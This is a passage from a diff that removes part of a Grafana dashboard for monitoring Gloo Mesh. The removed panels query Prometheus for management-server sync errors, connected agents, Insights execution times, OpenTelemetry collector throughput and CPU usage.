"reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "text": { - "titleSize": 10, - "valueSize": 50 - }, - "textMode": "value" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(gloo_mesh_translator_concurrency) by (pod)", - "format": "time_series", - "hide": false, - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Gloo Translator Concurrency", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Number of errors when trying to sync with Redis", - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 6, - "w": 6, - "x": 18, - "y": 11 - }, - "id": 10, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "text": { - "titleSize": 20, - "valueSize": 40 - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(delta(gloo_mesh_redis_sync_err{app=\"gloo-mesh-mgmt-server\"}[10m]))", - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Redis Sync Errors (last 10m)", - "type": "stat" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Management Server", - "type": "row" - }, - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 1 - }, - "id": 25, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "percentage", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 99 - } - ] - }, - "unit": "percentunit" - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 4, - "x": 0, - "y": 18 - }, - "id": 16, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"}) / count(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"})", - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agents Connected", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 4, - "x": 4, - "y": 18 - }, - "id": 27, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "lastNotNull" - ], - "fields": "", - "values": false - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(relay_pull_clients_connected)", - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Total Agent Connected", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 1 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 4, - "x": 8, - "y": 18 - }, - "id": 35, - "options": { - "colorMode": "value", - "graphMode": "area", - "justifyMode": "auto", - "orientation": "auto", - "reduceOptions": { - "calcs": [ - "last" - ], - "fields": "", - "values": false - }, - "textMode": "auto" - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "count(sum(relay_push_clients_warmed == 0) by(cluster))", - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agent Clusters Not Warmed", - "type": "stat" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [] - }, - "gridPos": { - "h": 11, - "w": 12, - "x": 12, - "y": 18 - }, - "id": 18, - "options": { - "legend": { - "calcs": [ - "lastNotNull" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true, - "sortBy": "Last *", - "sortDesc": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"})by (pod)", - "instant": false, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agents Connected To each Management Pod", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "thresholds" - }, - "custom": { - "align": "auto", - "displayMode": "auto", - "filterable": true, - "inspect": false, - "width": 200 - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - } - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "Mgmt Pod" - }, - "properties": [ - { - "id": "custom.width", - "value": 433 - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "Agent Cluster" - }, - "properties": [ - { - "id": "custom.width", - "value": 436 - } - ] - } - ] - }, - "gridPos": { - "h": 6, - "w": 12, - "x": 0, - "y": 23 - }, - "id": 20, - "options": { - "footer": { - "fields": "", - "reducer": [ - "sum" - ], - "show": false - }, - "showHeader": true, - "sortBy": [ - { - "desc": false, - "displayName": "Mgmt Pod" - } - ] - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": false, - "expr": "sum(relay_pull_clients_connected{app=\"gloo-mesh-mgmt-server\"}) by (pod,cluster)", - "format": "table", - "instant": true, - "interval": "", - "legendFormat": "", - "refId": "A" - } - ], - "title": "Agents Connected To Each Mgmt Pod", - "transformations": [ - { - "id": "organize", - "options": { - "excludeByName": { - "Time": true, - "Value": true, - "Value #A": true - }, - "indexByName": { - "Time": 0, - "Value": 3, - "cluster": 2, - "pod": 1 - }, - "renameByName": { - "cluster": "Agent Cluster", - "pod": "Mgmt Pod" - } - } - } - ], - "type": "table" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Agents", - "type": "row" - }, - { - "collapsed": true, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 2 - }, - "id": 57, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 3 - }, - "id": 61, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "sum(rate(solo_io_insights_execution_time_count[5m]))", - "legendFormat": "Insights", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "rate(solo_io_insights_engine_errors_total[5m])", - "hide": false, - "legendFormat": "Errors", - "range": true, - "refId": "B" - } - ], - "title": "Insights execution rate", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 3 - }, - "id": 63, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "sum(rate(solo_io_analyzer_execution_time_count[5m]))", - "legendFormat": "Analyzer", - "range": true, - "refId": "A" - } - ], - "title": "Insights Analyzer execution rate", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 11 - }, - "id": 59, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_insights_execution_time_bucket[5m])) by (le,code))", - "legendFormat": "__auto", - "range": true, - "refId": "A" - } - ], - "title": "Insights execution times (p95)", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 11 - }, - "id": 60, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_insights_total_execution_time_bucket[$__rate_interval])) by (le))", - "hide": false, - "legendFormat": "p95", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.90, sum(rate(solo_io_insights_total_execution_time_bucket[$__rate_interval])) by (le))", - "hide": false, - "legendFormat": "p90", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.50, sum(rate(solo_io_insights_total_execution_time_bucket[$__rate_interval])) by (le))", - "hide": false, - "legendFormat": "p50", - "range": true, - "refId": "C" - } - ], - "title": "Insights total execution time percentiles", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 19 - }, - "id": 64, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le, analyzer))", - "legendFormat": "__auto", - "range": true, - "refId": "A" - } - ], - "title": "Insights Analyzer execution times (p95)", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "auto", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 19 - }, - "id": 65, - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.95, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le))", - "hide": false, - "legendFormat": "p95", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.90, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le))", - "hide": false, - "legendFormat": "p90", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "${GlooPrometheus}" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.50, sum(rate(solo_io_analyzer_execution_time_bucket[5m])) by (le))", - "hide": false, - "legendFormat": "p50", - "range": true, - "refId": "D" - } - ], - "title": "Insights Analyzer execution time percentiles", - "type": "timeseries" - } - ], - "title": "Gloo Insights", - "type": "row" - }, - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 3 - }, - "id": 49, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": true, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [ - { - "matcher": { - "id": "byRegexp", - "options": "/.*Refused.*/" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "red", - "mode": "fixed" - } - } - ] - } - ] - }, - "gridPos": { - "h": 10, - "w": 8, - "x": 0, - "y": 4 - }, - "id": 51, - "interval": "", - "links": [], - "options": { - "legend": { - "calcs": [ - "min", - "max", - "mean" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "8.3.5", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "exemplar": true, - "expr": "sum(rate(otelcol_receiver_accepted_metric_points[5m])) by (receiver)", - "format": "time_series", - "interval": "", - "intervalFactor": 1, - "legendFormat": "Accepted rate: {{receiver}}", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "exemplar": true, - "expr": "sum(rate(otelcol_receiver_refused_metric_points[5m])) by (receiver)", - "format": "time_series", - "hide": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Refused rate: {{receiver}}", - "range": true, - "refId": "B" - } - ], - "title": "Receivers: Metric Points Rate", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": true, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [ - { - "matcher": { - "id": "byRegexp", - "options": "/.*Refused.*/" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "red", - "mode": "fixed" - } - } - ] - }, - { - "matcher": { - "id": "byRegexp", - "options": "/.*Dropped.*/" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "purple", - "mode": "fixed" - } - } - ] - } - ] - }, - "gridPos": { - "h": 10, - "w": 8, - "x": 8, - "y": 4 - }, - "id": 53, - "interval": "", - "links": [], - "options": { - "legend": { - "calcs": [ - "min", - "max", - "mean" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "8.3.5", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_processor_batch_batch_send_size_count[5m])) by (processor)", - "format": "time_series", - "hide": false, - "instant": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Batch send size count: {{processor}}", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_processor_batch_batch_send_size_sum[5m])) by (processor)", - "format": "time_series", - "hide": false, - "instant": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Batch send size sum: {{processor}}", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_processor_batch_timeout_trigger_send[5m])) by (processor)", - "hide": false, - "interval": "", - "legendFormat": "Batch timeout rate: {{processor}}", - "refId": "C" - } - ], - "title": "Processors: Batch metrics", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 0, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": true, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "links": [], - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 10, - "w": 8, - "x": 16, - "y": 4 - }, - "id": 55, - "interval": "", - "links": [], - "options": { - "legend": { - "calcs": [ - "min", - "max", - "mean" - ], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "8.3.5", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_exporter_sent_metric_points[5m])) by (exporter)", - "format": "time_series", - "interval": "", - "intervalFactor": 1, - "legendFormat": "Sent metric points: {{exporter}}", - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_exporter_enqueue_failed_metric_points[5m])) by (exporter)", - "format": "time_series", - "hide": false, - "interval": "", - "intervalFactor": 1, - "legendFormat": "Enqueue failed metric points rate: {{exporter}}", - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "exemplar": true, - "expr": "sum(rate(otelcol_exporter_send_failed_metric_points[5m]))", - "hide": false, - "interval": "", - "legendFormat": "Sent failed rate: {{exporter}}", - "refId": "C" - } - ], - "title": "Exporters: Metric Points Rate", - "type": "timeseries" - } - ], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Gloo Telemetry Pipeline", - "type": "row" - }, - { - "collapsed": true, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 4 - }, - "id": 2, - "panels": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 100, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 0, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "normal" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [ - { - "matcher": { - "id": "byName", - "options": "quota - requests" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#F2495C", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - }, - { - "matcher": { - "id": "byName", - "options": "quota - limits" - }, - "properties": [ - { - "id": "color", - "value": { - "fixedColor": "#FF9830", - "mode": "fixed" - } - }, - { - "id": "custom.fillOpacity", - "value": 0 - }, - { - "id": "custom.lineWidth", - "value": 2 - }, - { - "id": "custom.stacking", - "value": { - "group": false, - "mode": "normal" - } - }, - { - "id": "custom.lineStyle", - "value": { - "dash": [ - 10, - 10 - ], - "fill": "dash" - } - } - ] - } - ] - }, - "gridPos": { - "h": 16, - "w": 12, - "x": 0, - "y": 57 - }, - "id": 39, - "interval": "1m", - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "table", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "8.3.3", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "sum(rate(container_cpu_usage_seconds_total{namespace=\"gloo-mesh\"}[5m])) by (pod)", - "format": "time_series", - "hide": false, - "interval": "", - "intervalFactor": 2, - "legendFormat": "{{pod}}", - "refId": "A", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"requests.cpu\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - requests", - "refId": "B", - "step": 10 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "exemplar": true, - "expr": "scalar(kube_resourcequota{namespace=\"gloo-mesh\", type=\"hard\",resource=\"limits.cpu\"})", - "format": "time_series", - "interval": "", - "intervalFactor": 2, - "legendFormat": "quota - limits", - "refId": "C", - "step": 10 - } - ], - "title": "Gloo vCPU Usage", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 100, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 0, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "normal" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "bytes" - }, - "overrides": [ - { - "matcher": { - 